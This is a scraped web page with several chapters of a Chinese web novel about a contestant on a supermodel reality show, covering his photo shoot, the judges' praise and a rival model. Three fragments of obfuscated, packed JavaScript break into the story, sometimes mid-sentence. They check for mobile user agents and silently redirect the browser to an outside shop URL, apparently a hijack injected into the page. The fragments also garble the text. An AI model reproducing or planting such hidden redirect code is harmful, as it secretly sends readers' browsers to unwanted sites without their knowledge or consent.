RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17104401|195758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拍摄结束,众人登上返回超模别墅的大巴车。 不知道是不是因为昨天在车上被凌云怼出了心理阴影,黛米这次没有随车返回。选手们乐得轻松,在车上低声交流着今天的见闻。 回到别墅,大家各自散去。卸妆、简单运动、洗漱,每个人都忙着自己的事情。 凌云脸上的巴掌印却越来越明显,红痕扩散,边缘凸起细小的疹子,看着有些吓人。好几个选手碰见他,都忍不住惊讶地询问:“你的脸怎么了?黛米打你了?” 就连工作人员也私下找过来,委婉地表示,这种情况持续下去很容易引起误会,是否需要节目组提供一些帮助? 凌云心里清楚,化妆间里的状况,大概率是黛米看到了他的资料,想从他的过敏源入手给他打击。 但他没有证据,更不能不分青红皂白地把锅甩给黛米——说到底,黛米确实没有亲手打过他。 他只好向工作人员求助,请他们帮忙去药店买一些治疗过敏的药。 工作人员答应了,却一去很久也没有回来。 凌云一个人坐在别墅院子的秋千上等。 夜风吹过,过敏处,瘙痒和灼热齐齐袭来,他只能尽量控制自己不去想它。 直到晚上十点多,工作人员才赶回来。 一起出现的还有卡罗琳。 卡罗琳穿着职业套装,脸上带着忙碌后的疲惫,眼神依旧锐利如常。女人的目光在青年脸颊那片醒目的红痕上停留了几秒,没多问什么,只是从工作人员的手中接过药,亲手递给了凌云。 “给。外用的,每天两次。”她的声音没什么起伏。 “谢谢。”凌云接过喷剂,冰凉的触感透过包装传来。他随口问了句:“嗨,你怎么这么晚过来?” 卡罗琳看着他,沉默了两秒,才说:“今天一整天都在处理事情。节目组的,私人的……还有黛米的。”说到这里时,她故意停顿了一下,深邃的眼睛直视着凌云,似乎在等待他做出反应,继续追问。 可凌云只是点了点头,脸上并没有流露出太多探究,只是平静地表示:“哦,这样。那我先上去处理我的脸。” 他这种并不寻根究底、甚至显得有些遇事怕事的说法方式,反倒让卡罗琳紧绷的嘴角微不可闻地松动了一下,眼中更是掠过了一丝满意。 就在凌云转身准备离开时,卡罗琳忽然叫住了他。 “嘿,凌云。” 凌云停下脚步,回头。 卡罗琳双手插在西装裤袋里,姿态放松,语气随意地说道:“节目组需要补录一些镜头素材。我看你现在状态还行,要不要现在去单采间里录一段?可以说说今天的拍摄感受,或者……任何你想说的话。” 夜色中,别墅的灯光在凌云翠绿的眸子里映出一点宝石的珠光。他脸上那片过敏的红痕,在昏暗光线下依然可怖,青年的嘴角却慢慢勾了起来。 “好啊。”凌云回答得干脆利落,甚至带着点跃跃欲试,“那我现在就去吧。” 10. 紫色床单(5) 还有这种好事? 告别露了个面,仿佛过来一趟,只是为了和他打个招呼的卡罗琳,凌云开开心心地回屋内。 老实说,节目开拍到现在,他一次单采都没捞着。今天下午看到别的选手被摄像师叫过去单采,凌云羡慕得不行。要不是他还在节目组的惩罚期,不好太高调,他绝对会主动争取单采的。 没想到峰回路转,晚上机会就自己送上门了。 他心雀跃,凌云面上还是一副平静模样。 凌云没有单采的经验,稳妥起见,他找到还算熟络的工作人员,礼貌地询问:“一般单采都录些什么内容?有没有什么注意事项?” 工作人员在整理器材,想了想,告诉他:“想说什么说什么,放松点就行。反正要是你说了不能播的,后期那边会剪掉的,不用担心。” 闻言,凌云哈哈大笑:“那我真的随便说了?” 工作人员同样哈哈大笑。过了几秒,他压低声音,隐晦地提点:“往季很多选手会在单采间打亲情牌,哭诉自己有多不容易,或者……嗯,流着泪控诉别的选手。你的亚裔血统是很大的优势。能理解吗?” 凌云点点头,表示了然:“我明白了,谢谢你。” 凌云转身走向单采间。 单采间不大,布置简洁,正对门是一张高脚凳,侧面架着补光灯和一台黑洞洞的摄像机。墙上贴着操作提示。 凌云反锁上门,根据提示打开摄像机,调整好补光灯角度,还试了试收音。 一切就绪……不,等等,还差了点。 青年坐在高脚凳上,对着镜头,突然改了主意。 亲情牌?他和他爸不熟,至于他妈……彼此之间没多少爱可言,说多了反而鬼火冒。diss别的选手?那更不值得。 难得有独占镜头,畅所欲言的机会,干嘛要把宝贵时间浪费在别人身上? 都真人秀节目了,拿出点诚意,给观众们看点好的。 想到这里,凌云眼睛一亮。他飞快地起身,打开门锁,一阵风似的冲回自己房间。 室友哈维刚洗完澡出来,正在吹头发,被他火急火燎的样子吓了一跳:“嘿!干嘛呢?” “有事!”凌云头也不回,从衣柜里取了西装,又抓了一把配饰,一阵风似的跑了出去,留下哈维在原地一脸莫名其妙。 《荣耀之台》有个传统:32进16淘汰赛中,所有成功晋级的选手,将会得到他们当天拍摄时所穿着的衣服——通常是奢侈品牌前几年的高级成衣。哪怕过季,也依旧价值不菲。凌云拿到的那套,正是第一期【美高毕业舞会】主题时他和胡彤一起拿下最佳硬照的西装。 回到单采间后,凌云再次锁好门。 他先是深呼吸,然后按下录制键。 红灯亮起。 凌云看向镜头,脸上扬起一个堪称甜蜜的笑容。 “嗨,你们好,我是凌云。现在是我的单采时间。”他语速轻快,“上一期里已经自我介绍过了,大家应该对我印象深刻吧?” 青年故意停顿了一下,笑容扩大,酒窝深陷,翠绿色的眼睛水润、闪闪发亮。他是一个把自信写在脸上的孩子。 “按照惯例,这时候我应该哭着谈起我的原生家庭,讲诉我的梦想,讲诉我在追梦过程中的挣扎。或者……嗯,你们懂的,种族歧视。”他耸了耸肩,“但我想,《荣耀之台》都第二十季了,你们或许也想看点新鲜的?正好。” 他凑近镜头,轻佻道: “我没有好赌的爸和生病的妈,没有上学的弟弟,人格也不破碎。我很完美,你们能看到吗?” 说完,他眨了眨眼,似乎觉得这个开场白很有趣。 “不过嘛,”他指了指自己依旧泛红、指痕肿胀的脸颊,“我的脸现在有点过敏,不太上镜。所以,在我的美貌恢复之前,我们先看点别的。” 他站起身,走到镜头前,更空旷的位置。 然后,在红灯持续闪烁的注视下,他开始不紧不慢地脱衣服。 先脱掉身上那套今天穿去拍摄现场的便服。 青年动作坦荡,没有丝毫的扭捏或蓄意挑逗,动作快得像是马上要跳进泳池一样。 模特换衣的常态就是这样,所有的慢动作,都是对工作的耽误。 他就那样站在镜头前,只着一条子弹头内裤,全方位地、自信地展示着身体。 不到二十岁的小年轻,肩宽腰窄,四肢修长,肌肉薄而匀称地覆盖在骨骼上,仿佛能透过他色泽健康的皮肤,窥见内里健康地奔涌着的血管。 这是一种完全剥离色情意味的,关于人体之美与力量美的直观展示。健康的、蓬勃的、客观权威的美。 片刻后,凌云从容地拿起西装,开始一件件上身。 衬衫、长裤、外套。 当他穿戴整齐,再次面对镜头的时候。 青年懒洋洋地说道:“我穿衣服很好看,对不对?” · 第二天上午,硬照点评环节。 卡罗琳终于出现了。 当她踩着标志性的鱼嘴高跟鞋出现在演播厅时,现场爆发出惊喜的尖叫和掌声。选手们的脸上纷纷露出松了口气的表情——有这位仙女教母在,仿佛连空气都变得专业和公正起来。 卡罗琳在评委席正中坐下,目光扫过全场,最后落在坐在一旁特别席位上的黛米身上,微微一笑。 “首先,感谢黛米昨天非常热心地担任了所有选手的拍摄搭档,并为此付出了大量的精力。”卡罗琳的声音通过麦克风清晰传来,“节目组讨论决定,为了公平起见,今天黛米将不参与评分。” 讲到这里,她稍微停顿了一下,笑容加深,有些意味深长地说道:“显然,黛米身上,有许多值得选手们学习的专业技巧。在点评中,我们会特别分析这一点。这对于所有选手来说,都是一次绝佳的学习机会。” 黛米的脸上保持着得体的微笑,放在膝盖上的手指却几不可察地蜷缩了一下。 点评开始。 BDSM主题还是过于大胆和前卫了,很多选手的表现并不尽如人意。照片一张张地被投放在大屏上,批评声居多。 “梅芙,亲爱的,你看起来像是不小心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109050|195758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 误入鬼屋的孩子,脸上只有惊恐。” “卫斯理,你的身体很性感,但是答应我,下次请至少穿条裤子好吗?我快看到你……后期,请在这里打一下码,谢谢。” “布莱尔,你的姿势太僵硬了,你和黛米之间没有任何化学反应,像是两个陌生人被P在了一起。亲爱的,这是你第三次参加《荣耀之台》了。很遗憾我没有看到你的进步。” 选手们的得分普遍不高,气氛逐渐凝重起来。 但也有亮眼的表现。 斯隆的照片出现时,演播厅里响起低低的赞叹声。 照片里,她和黛米各执教鞭的一端,身体前倾,目光凌厉对视,势均力敌的对抗感和张力几乎快要破屏而出。 珍妮芙给出了她今天的第一个十分。 “斯隆,”她赞叹道,“你有超模的潜质。这张照片里,你和黛米的性感程度旗鼓相当,甚至……”她开了个缓和气氛的笑玩笑,“真希望两位主人可以一起调教我。” 现场立刻响起了笑声和口哨声。 斯隆非常入戏地挑起一边眉毛,对着珍妮芙的方向,用清冷的嗓音回应道:“亲爱的,你很贪心。看样子,我必须好好惩罚你了。” 更大的笑声阵阵响起,珍妮芙还在闹着要梅芙给她留个电话号码,她打给她。 同样得到好评的还有胡彤和哈维。 而作为对照组,几乎在每一张照片里,卡罗琳都给到了黛米高度评价。 “这张,黛米侧脸的角度非常完美,光影在她下颌线的刻画堪称教科书级别。” “看黛米勾着项圈的这只手。姿势、光影、甚至指甲的颜色,都充满了故事感。” “黛米在这里的眼神变化非常细腻,我好像看到了一张动图。亲爱的,你有教选手们你是如何做到的吗?” 卡罗琳总结道:“你们的搭档兼评委非常优秀!这就是模特的专业素养。黛米,你是一个真正的超模。” 黛米脸上的笑容越来越明亮,投向卡罗琳的眼神中尽是感激。 终于,轮到最后一张照片。 在照片被放出来之前,评委席上的卡罗琳、比安卡和珍妮芙,三个人对视了一眼,脸上露出了某种心照不宣的、满意至极的笑。 卡罗琳身体微微前倾,双手交叉放在桌上,目光扫过台下的选手们,温和地开口: “我想,大家都猜到了,我为什么把凌云的照片留到最后。”她顿了顿,声音清晰而有力,“因为当这张照片放出来,你们就会明白——为什么他是今天的最佳硬照。” 话音刚落,她按下了手中的遥控器。 大屏短暂地黑了一瞬。 紧接着,凌云的硬照毫无预兆地、充满冲击力地呈现在每个人面前。 几乎所有人都屏住了呼吸。 几秒钟后—— “呼——” 演播厅里,到处是下意识屏住呼吸后,呼吸器官自主恢复机能发出的沉重的呼气声。 真是个性感得要命的家伙。 ——这是此刻浮现在所有人心中的,唯一的念头。 11. 紫色床单(6) 盛夏,万众瞩目的超模真人秀节目《荣耀之台》,第二十季,终于震撼首播。 晚上九点,安迪推开公寓门。 高跟鞋甩在玄关,公文包随手一扔。都市丽人安迪径直走向客厅,按下遥控器。电视亮起,广告声瞬间填满房间。她边听边走进浴室,动作麻利地开始卸妆。 安迪是美版《MODE》杂志的图片编辑。 说起来也巧,安迪的名字和电影《穿普拉达的女王》里,女魔头玛琳达给助理起的绰号一致。 安迪认为,这是某种命运的暗示——或许,从她出生的那一刻就注定,她,安迪,会勇闯时尚圈。 女人自顾自地笑起来。 冲干净泡沫,安迪往脸上贴了片面膜。正好这时,点的外卖也到了。安迪刚关上门,电视里正好响起《荣耀之台》标志性的片头音乐。 时间掐得刚刚好。 女人把自己摔进沙发,又坐起来,打开披萨盒。 芝士的香气扑鼻,节目正式开始。 开场依旧是仙女教母卡罗琳连珠炮似的发言快剪。 到评委阵容亮相,看见那张熟悉的脸,安迪下意识地一抖——她准时收看节目,除了本身是业内人士,热爱时尚之外,还有一层原因——评委之一的比安卡是她的顶头上司。 哦,她们之间的关系真是像极了《穿普拉达的女王》是不是?想到这里,安迪又是一阵咯咯笑。 开场白结束,正片切入。三十二名选手的初亮相,被剪辑得紧凑又富有惊喜感。安迪咬了口披萨,目光跟随镜头扫过所有选手。 两个亚裔面孔。 有点意思。往季的选手大多是纯白纯黑或拉丁裔混血,亚裔可不多见。 女选手叫胡彤,来自中国。镜头给到她时,东方美人的古典韵味扑面而来。安迪脑子里闪过博物馆里的美人图,又或是老钱收藏的古董东方屏风。 这几年,奢侈品牌尤其钟爱用中国元素的设计,但效果嘛……市场反馈反正不太好,大概源于一些强盗劫掠引发的后人的愤慨。 将一些历史遗留问题抛诸脑后,安迪注意到一个叫凌云的选手。 同样是亚裔面孔,凌云的轮廓更深,明显是混血。 镜头捕捉凌云时,他正在笑,大大方方地自我介绍……天呐!他怎么敢在美国的综艺节目里提一滴血原则?这可真是不得了的勇气!安迪一下子就被他祖母绿似的绿眼睛和自信狡黠的神情迷住了。 什么政治正不正确的?美国的政治跟过家家似的。 美貌正确! 镜头适时推近,给了凌云的眼睛一个特写——上好的无油祖母绿没有一丝裂痕。青年的眼中满满都是自信,安迪被那眼神抓住。不是因为那个词,尽管那个词真的非常大胆。 是凌云自信、坦荡的模样,这让她想起刚入行时,身上也曾有过的那种试图打破陈规的少年意气。 而凌云果然没让她失望。 硬照拍摄准备时,凌云别出心裁地把头发染成了金色,拉着另一个中国籍的女选手胡彤,扮演了《哈利波特》里的意难平CP,塞德里克和张秋……天才般的创意! 安迪擤了擤鼻涕。 被选手们的表现惊艳到的同时,意难平CP杀了她一个热泪盈眶。呜呜呜,凌云好聪明! 最后成片效果极佳。尤其是两人对视时的青涩,互动时的甜蜜,很容易让人想到一个词——宿命。 毫无疑问,他们拿下了最佳硬照。 说起来,这一季的实力真的很强,哪怕是被淘汰的十六名选手,也有在安迪看来可圈可点的。可是没办法,竞争就是这么残酷。 就像她的上司比安卡说的一样,第二十季将是超前的时尚盛况,想赢的人必须做好被评委们反复挑剔每一根头发丝的准备。 凌云出色的表现,让安迪心中萌生出了一股她果然没有看错人的自豪感。 并且她决定,要是有人敢在网上造谣节目组黑幕,她一定会和他们魔法对轰到底! 她可是业内人士!一线从业人员! 凌云和胡彤的表现毫无疑问就是第一!安迪捏着无糖可乐多送的吸管,对着空气中不存在的喷子使出了一记阿瓦达索命。 AvadaKedavre! 不可饶恕咒将对不可饶恕的喷子们使用! 直到广告时间,安迪才注意到,她竟然不知不觉间吃完了一整块披萨!那可是八寸的披萨!上帝……哦不,应景一点,应该是梅林。 梅林的袜子!她吃完了一整块披萨! 罪恶感瞬间袭来。安迪哀嚎一声,把脸埋进抱枕。 趁着广告时间,安迪快速洗了个澡,再回到电视机前的时候,卡罗琳在后台向选手们宣布,他们必须在定点的时候接吻,向观众们散发魅力。 安迪骑上动感单车,她还挺乐意看的。谁能不喜欢激情四射的场面呢? 时尚与荷尔蒙,从来都是最佳拍档。 直到安迪看到凌云把他的搭档推倒在地,还把脚踩在了对方的胸膛上! 从现场宾客们同样始料未及的惊讶反应来看,这似乎不是节目组安排好的剧本。 重大拍摄事故! 安迪被惊得险些从动感单车上摔下来。此刻她还抱着一种想法,她觉得一定是有什么设计在里面。不是指节目组,她的意思是,或许这是凌云和他的搭档商量好的。 可能是某种前卫的、颠覆性的行为艺术表演?毕竟这是《荣耀之台》,这么多年来,超模没有一个,幺蛾子可没少过…… 心急如焚,安迪也只能耐着性子往下看。 接下来镜头切换得很快,现场似乎有些混乱,凌云的T台秀片段戛然而止,没有给完整的退场镜头。 甚至点评环节也略过了凌云,他就像是被节目组彻底忽视了一样。 从头到尾,凌云没有被提到名字,一次也没有。 一次也没有。 这到底是怎么回事? 安迪的心一点点沉下去,这不 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半决赛拿下最佳硬照的人,有什么理由故意惹事? 冷静一想,这种剪辑方式,很像是节目组在刻意引导的诡计,是蒙太奇。 无论如何,凌云已经是话题人物了。 想到这里,安迪手忙脚乱地去抓沙发上的手机,她的指尖有一点发凉。 她必须立刻上《荣耀之台》的官网和社交媒体看看,舆论肯定炸了。其他观众会怎样看待凌云的行为? 节目组有没有进行官方回应? 安迪刚解锁手机,还没来得及点开社交软件。 也就是这时,工作群里弹出一条消息—— @全体成员: 紧急通知,因首席助理突发疾病入院,原定由其送往洛杉矶的下一月度封面预选照片及资料,改为图片编辑安迪来负责对接。请@Andy于明日一早前往洛杉矶与@Bianca对接工作,及时将物料送至比安卡女士处。航班信息稍后会私发。收到请回复。 安迪盯着屏幕,愣住了。 她? 明天? 洛杉矶? 窗外,城市的灯火无声流淌,电视屏幕也跳转到下一个节目的预告片。不夜城纽约,和刚看完真人秀节目,马上就要去到节目现场的我。 这是什么《穿普拉达的女王》照进现实? 安迪握着手机,缓缓在沙发上坐下。水珠滴到脖颈,带来一丝凉意,她这才惊觉看节目看得忘了吹头发了。 我。 明天。 洛杉矶。 哈!现在说什么都没有意义了。安迪深吸一口气。 我得赶紧去衣柜里找找有没有Prada套装才是正事。 她倒要看看到底是怎么个事儿。 12. 紫色床单(7) 安迪抵达洛杉矶时已是下午。 她落地第一件事就是给比安卡发消息,询问拍摄地点。比安卡的回复很快:“我现在不在现场。正好有空,你来酒店餐厅找我,在这里交接工作。” 安迪赶过去。 一见面,比安卡打量着一身Prada套装的安迪,挑了挑眉。 安迪将封装严实的资料袋双手递上。比安卡没有立刻查看,而是选择先享用晚餐。 吃完半份牛排后,比安卡放下刀叉,对欲言又止的安迪道:“有什么直接说吧。” 安迪深吸一口气,眼睛发亮:“我看了昨晚的首播,我能不能问……” 比安卡轻轻晃着酒杯,低头啜了一口,唇角微扬:“很感兴趣?” 安迪用力点头。 “那就把回程机票改签吧。”比安卡放下酒杯,语气随意,“明早跟我去演播厅,看现场直播。” 安迪愣住了,几秒后她高兴得差点原地跳起来:“真的吗?现场直播!” “我说可以就可以。”比安卡微微一笑。 · 翌日一早,演播厅。 当凌云的硬照出现在大屏上时,短暂的死寂后,几乎所有人不约而同地倒吸一口凉气。 太犯规了。 那样一双稀世珍宝般的翠绿色眼睛,在黑白灰的画面中,美得惊心动魄,几乎要灼伤众人的视网膜。 被那双眼睛攫住,几秒后,他们才猛地回过神,齐刷刷地扭头看向凌云,紧接着,目光又不由自主地飘向特别席位上的黛米——这张照片里,黛米只出镜了一只手。 这可真是…… 照片的构图极具冲击力。穿着古板老土灰色西装的青年单膝跪在铺着紫色床单的床边,身体微微前倾,像是被无形的力量牵引。他几乎融入了背景的黑白灰之中,画面里唯一浓烈的色彩,只有那方挑动人情欲的紫色床单,和青年左侧脸颊上醒目的、骇人的指痕。 女人的手托着他的下巴,姿态强势。一片鲜艳欲滴的红色指甲,恰好搭在他凸起的喉结上,这是掌控的隐喻。 而这张照片的精妙之处远不止于此。 “嘿。”凌云看众人表情不对,凌云不得不再次解释道,“别再来回看了,黛米没有打我。我们合作得很愉快。”他指了指自己的脸,“这是橡胶过敏——拍摄时我的脸颊不小心碰到了乳胶手套。” 黛米适时接话:“你的表现非常出色,凌云。我毫不意外这张照片,会成为今天的最佳硬照。” 她将最佳硬照几个字咬得特别清晰。 卡罗琳接过话题:“为了防止有人没有完全领会这张照片的精妙之处,有人特意录制了一段解析视频,并要求在节目里播放。”她按下遥控器,“那么,让我们直接看视频吧。” 画面切换。 令人难以置信的熟悉的面孔出现,演播厅瞬间被惊呼声淹没。 “天哪!是卡兰·林奇!” “我是不是眼花了?那个卡兰·林奇?” “上帝!他怎么会……” 卡兰·林奇,传奇cult片导演,摄影师出身,以其独特的影像审美和颠覆性的叙事风格闻名好莱坞。他是公认的天才,也是出了名的挑剔和难以捉摸。无数演员挤破了头地想在他的电影里露个脸,因为只要是他执导的片子,必定引爆话题,捧出新一代的cult片女王。 视频里,男人穿着简单的白衬衫,对镜头整理了一下领带,露出一个温和而谦逊的笑容:“模特们,你们好。欢迎来参观我的人类情趣博物馆。真希望那里有给你们留下难忘的体验。” 现场再次爆发出激动的尖叫。 卡兰·林奇等了几秒,才继续开口,语气变得认真:“嗯,我该怎样描述第一眼看到这张照片时的震撼呢?只能说,那一瞬间,许多灵感在我的脑海中涌现,为此我能创作出许多被观众们认可的角色和喜欢的电影。作为摄影师转行的导演,我对画面的故事感格外看重。而这张照片,在我看来,完全就是一场动态演绎。” 他拿起一个平板,屏幕上正是凌云的那张照片。 “让我们抛开这双美丽的眼睛——尽管这很难——来看他的眼神。这里面没有哀求,没有渴望,甚至没有屈服。”他将凌云的眼部特写放大,“凌云在和每一个看到这张照片的人对话。” “以及,他在炫耀。” “没错,就是炫耀。”卡兰·林奇肯定道,“炫耀他脸上的印记。他在说,看,我得到了,我乐在其中哦。这很有意思。基于我借出场地时提出的拍摄主题,我必须多说一句:权力是让渡的结果。不是谁穿得少、谁被束缚,谁就被支配。暴露程度不决定地位,权力的自愿让渡才决定。那么,这张照片里,让渡体现在哪里呢?” 他点击屏幕,让画面聚焦到凌云的脚踝。 “在这里。”他的声音里带着发现秘密的兴奋,“衣着整齐、甚至过分保守的青年,没有穿鞋。你们知道吗?地位低的人是不配在地位高的人面前穿鞋的。这意味着他主动让渡了属于文明世界的人权,像未开化的、野蛮的附属品,彻底放弃了逃跑的可能。这才是这张照片里最精妙的设计。” “现在,让我们连起来看。”卡兰·林奇引导众人,“我几乎能脑补出一段完整的权力置换的故事:某人主动让渡了自己的部分权力,并由此得到了一个鲜明的印记。给予印记的人正抚摸着他的喉结,而他,却在向我们所有人炫耀——看我的脸,她做得很棒哦。从头到尾,他或许并非一个单纯的被支配者,而是一个深谙权力的游戏的规则的switch。真是个性感得要命的家伙。” 卡兰·林奇对着镜头,笑容不断加深,真诚地邀请道:“凌云,有兴趣告诉大家你的故事吗?或许,我们可以把这个故事拍成电影。” 视频结束。 演播厅里鸦雀无声,所有人都沉浸在卡兰·林奇的分析中,下意识地低下头,去看凌云的脚——即使他现在穿着鞋子。 “嘿!”凌云出声,带着点哭笑不得,“别这样,别告诉我,你们突然集体患上恋足癖了!” 台上的评委们率先哈哈大笑起来。 卡罗琳笑着说道:“我们的看法,与卡兰·林奇先生不谋而合。这张照片的叙事水平很高,能让人脑补出一段危险的关系和一部精彩的电影。” 珍妮芙也激动地点评:“迄今为止最棒的一张!我相信所有看到的人都会和我有同样的想法——想和凌云玩一些交换权力的游戏!绝对的支配或臣服有什么意思?来回的试探、争夺、让渡,才让人欲罢不能!” 比安卡也表示赞同,并详细分析了照片的肢体语言细节,给予了相当高的评价。 至此,毫无悬念。 “我宣布,”卡罗琳的声音清晰地传遍演播厅,“《荣耀之台》第二十季第二期,最佳硬照的获得者是——凌云!” 掌声响起,夹杂着选手们羡慕、赞叹的复杂目光。 卡罗琳抬手,示意大家安静,继续宣布:“同时,感谢卡兰·林奇先生为我们的奖池慷慨加码。本期最佳硬照的获得者及其拍摄搭档,将获得出演卡兰·林奇导演的新电影的机会。具体角色细节,导演助理之后会与二位联系。” 掌声再次雷动。电影角色!还是卡兰·林奇的电影!这已经不是常规的奖励了,而是一封通往更广阔的舞台的邀请函。 黛米脸上的笑容格外灿烂,尽管在刚才那张照片里,她只出镜了一只手。但此刻,这一只手的价值,远超无数个她在正中的完整镜头。 · 录制结束,选手们一拥而上,围住卡罗琳,七嘴八舌地表达着对她昨天缺席的思念和今天回归的喜悦。 凌云今天依旧起了大早,做了大量运动,又喝了很多水,这会儿憋得有点难受,第一时间冲出人群直奔卫生间。 解决完生理问题,凌云烘干手,走出卫生间。 就看到,一个身影靠在走廊尽头的透气扇旁,指尖一点猩红明明灭灭。 是黛米。 黛米招呼凌云:“嗨,要来一支吗?” 凌云走过去,接过她递来的女士香烟,含在嘴里,却没接黛米的火。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17118243|195758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >黛米也不介意,缓缓吐出烟雾,说道:“下次见面,大概就是在卡兰·林奇的片场了。” 女人的声音在烟雾后有些失真。 凌云惊讶地看向她。 “怎么,你不知道吗?”黛米挑眉,“我会离开《荣耀之台》。就现在。” 凌云是真的不知道,他一脸无辜:“我为什么会知道?”他指了指自己,“我们的手机都被没收了,我上不了网。” 黛米这才恍然想起来。 这份大礼,凌云本人还没得到消息。想到这里,黛米心中那股积压的、混杂着不甘和愤怒的火苗又蹿了上来。 她弹了弹烟灰,语气带上了一丝刻意的、近乎恶劣的示威:“你就不想知道,为什么那天在化妆间里,恰好只剩下乳胶衣吗?关于你的橡胶过敏症。” 凌云点点头,神情坦然:“我知道啊。你想赢。”青年回答得理所当然,“没有人不想赢。但是黛米,下次别这样,好好商量嘛。你看,我和胡彤合作就很愉快。你的业务能力挺强的,如果好好沟通,我们完全可以配合出更好的硬照……”他顿了顿,祖母绿般的绿眼睛毫无阴霾地直视黛米,“而不是像这次,你只出镜了一只手。” 黛米:“……” 她被噎了一下。 凌云的语气太真诚了,他不是在讽刺,而是真的在就事论事,甚至带着点“我们明明可以做得更好”的惋惜。 让她准备好的那些夹枪带棒的话,一下子没了着力点。 沉默了几秒,黛米有些烦躁地摁灭了烟,从随身的皮包里翻出几件东西,递到凌云的面前。 一叠粉红色的便利贴,和一支咕了钻的圆珠笔。 凌云看到这两样东西,明显愣住了,惊讶地看向黛米。 “这是?” “我的。”黛米言简意赅,紧紧盯着凌云的脸,不放过他的任何一丝表情变化。 凌云的目光从惊讶变为疑惑,他仔细打量黛米的神情,试图解读她眼底复杂的情绪——那里面有不满,有控诉,还有一丝……委屈? 很快,似乎明白了什么,青年露出了恍然大悟的表情。 黛米心想,你终于明白了。 黛米对安德烈从来就没有什么真心,两人无非是各取所需。 安德烈那天找到黛米,问她借便利贴,再回来的时候,脸上一副梦幻的表情。黛米为了给他出气,也是讨好这位少爷,主动说她之后会对凌云更加严格,可安德烈说了什么?安德烈竟然让她不可以为难凌云,甚至要她拿出手机。安德烈用她的手机给他老爸打了个电话,让他们多给凌云一些镜头——这是黛米也没有的待遇! 黛米的内心极度不平衡。为什么?这不公平。黛米难以解释自己的痛苦。一路走来,她没少被骂关系户、资源咖,可是只有她自己知道她为此付出了多少努力,做了多少交换。她从来不是凭空得到这些。可凌云得到得是那么轻易。 然而,接下来发生的一切完全出乎了黛米的意料。 亚裔青年爽朗一笑,不由分说地从黛米手中接过便利贴和笔,飞快地写下几行字,然后把便利贴和笔递了回来。 黛米一头雾水地接过,下意识地低头查看。 「Lynn·Trendafilov」 「凌云」 以及幼稚得可笑的小学生字体。 这是一个to签。 黛米:“……” 她彻底懵了,整个人僵在原地。 这还不算完。 凌云上前一步,张开手臂——却不是一个完整的拥抱。他的手臂虚虚地环过她的肩背,刻意保持了绅士的距离,仿佛只是为了让两人更靠近一点,好方便说悄悄话。 青年带着笑意的、温热的气息拂过她的耳畔,声音轻快又真诚: “不用嫉妒安德烈啦,也给你to签。” 凌云退开,眼睛弯成好看的月牙,冲她挥了挥手,转身朝演播厅的方向走去,只留下最后一句话飘散在走廊略带烟草气息的空气里: “我们cult片片场见吧。” 13. 此章节已锁 回到演播厅,凌云发现大家正围在一起分蛋糕。 浓郁的奶油甜香弥漫在空气中。他一点也没有被微妙排挤的自觉,大大方方地走过去,好奇地问:“谁的生日吗?” 正在切蛋糕的是内特——那个在刚才的点评环节中得到最低分,和哈维一样,拍摄时几乎赤/裸却未能展现出同等性感的男选手。他被淘汰了。 不过内特看起来并没有很懊恼,脸上甚至还带着笑。内特切下一块蛋糕,递给凌云,语气轻松:“节目组给我准备的欢送会。虽然被淘汰了,但接下来我可能会去试试《鲁保罗变装皇后秀》,或者别的什么选秀节目。我不会轻易放弃自己的。” 凌云很自然地接过纸盘,吃了一口便放在一旁。他靠过去,给了内特一个男人之间的友好的拥抱。 然后真诚地说道:“如果我有机会拿到手机,一定给你投票。” 这承诺可比任何祝福都实在。内特的笑容立刻变得更加灿烂,用力拍了拍凌云的背:“那就说定了!” 其他选手也纷纷上前,对内特接下来的选秀征程送上祝福。 气氛热络起来。毕竟,谁也不知道自己会不会是下一个离开的人,此刻的善意或许能在未来,换来同样的回馈。 凌云重新拿起纸盘,小口小口地挖上面的动物奶油吃。动物奶油可比用了海量的玉米油的蛋糕胚健康。他下意识地用目光扫视演播厅——黛米始终没有回来。 大概是真的已经走了。他想起她在走廊里说的“就现在”。 或许那支没点燃的烟,就是黛米对他单独的、别扭的告别。 没想到黛米私下竟然是他的粉丝,尽管是不那么理智的粉丝。但是喜欢本来就是多种多样的不是?还因为安德烈的事闹别扭。 凌云心里有点好笑,又有点说不清的惆怅。他安慰自己,至少把to签送出去了,黛米会感受到鼓励的。 · 很快,众人登上返回超模别墅的大巴车。 这次终于是卡罗琳跟车了。她上车后没有立刻坐下,而是优雅地扶着座椅靠背,等车辆行驶平稳之后,才开口宣布: “模特们,等会儿回到别墅后,所有人需要去收拾个人物品,并在中午之前离开。” 车厢内顿时一静。 “离开?”有选手忍不住问,“去哪里?我们被集体淘汰了?”这话引来几声紧张的追问。 “不。”卡罗琳露出一个安抚的微笑,“是假期。接下来,你们将会拥有为期一周的假期。” “假期?”这次出声的是布莱尔,一位参加过三次《荣耀之台》的老选手,她脸上写满了难以置信,“节目组从来没有这么大方过,我都参加第三次了,以前可从来没有假期。” 顿时,所有的目光都聚焦在卡罗琳身上。 